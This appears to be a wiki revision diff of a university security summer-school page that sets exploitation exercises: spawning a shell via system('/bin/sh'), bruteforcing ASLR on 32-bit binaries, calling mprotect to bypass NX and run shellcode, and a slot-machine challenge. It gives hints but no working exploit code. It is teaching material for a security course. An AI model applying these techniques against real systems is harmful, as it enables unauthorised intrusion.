- +
-===== 04.b. +
- +
-ASLR still disabled. Call ''%%system("blue")%%''. Get a shell with this. //Hint//: Where will it search for the "blue" command? +
- +
-===== 04.c. +
- +
-Again, ASLR disabled. Call ''%%system("/bin/sh")%%'' without using the previous trick. +
- +
- +
-=== 05. Challenge - bruteforce +
- +
-Continue working in the ''04-challenge-colors/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]]. +
- +
-Try the previous exploit with ASLR enabled. You can rerun the binary multiple times. +
- +
-<note important> +
-Figure out how addresses look like using ''LD_TRACE_LOADED_OBJECTS=whatever ./colors'' multiple times. How many bits do change? Run the program multiple times with some fixed addresses for ''system'' and ''/bin/bash'' in the payload+
 </note> </note>
  
-<note> 
-The ASLR entropy on 32-bit systems if pretty low, which makes this bruteforce attack feasible. On 64-bit platforms you will need an information leak, and a 2-stage exploit. We are going to discuss this in a future session. 
-</note> 
  
-=== 06Challenge mprotect+==== 05Bonus rwslotmachine5 ====
  
-Go to either the ''03-challenge-ret-to-plt/'' or ''04-challenge-colors/'' folder in the [[https://security.cs.pub.ro/summer-school/res/arc/09-defense-mechanisms-skel.zip|activities archive]].+This challenge is similar to ''rwslotmachine1''. However, your exploit for the first challenge will (most likely) not workInvestigate why and develop a bypass.
  
-Using any of the 2 binaries, try to call ''mprotect()'' in order to change the protection flags of the stack, then inject a shellcode similar to the ones in the [[session:10|previous session]]. +<note tip
- +You can find a table describing x86 syscalls [[http://security.cs.pub.ro/hexcellents/wiki/kb/exploiting/linux_abi_x32|here]].
-<note important+
-To make your life easier, you can disable ASLRThe purpose of this task is to bypass NX, and not ASLR. +
-</note> +
- +
-<note important> +
-//Hint//: The ''ulimit -s'' unlimited trick will make the stack get mapped at a fixed address.+
 </note> </note>
session/10.1594195499.txt.gz · Last modified: 2020/07/08 11:04 by Liza-Elena BABU (78556)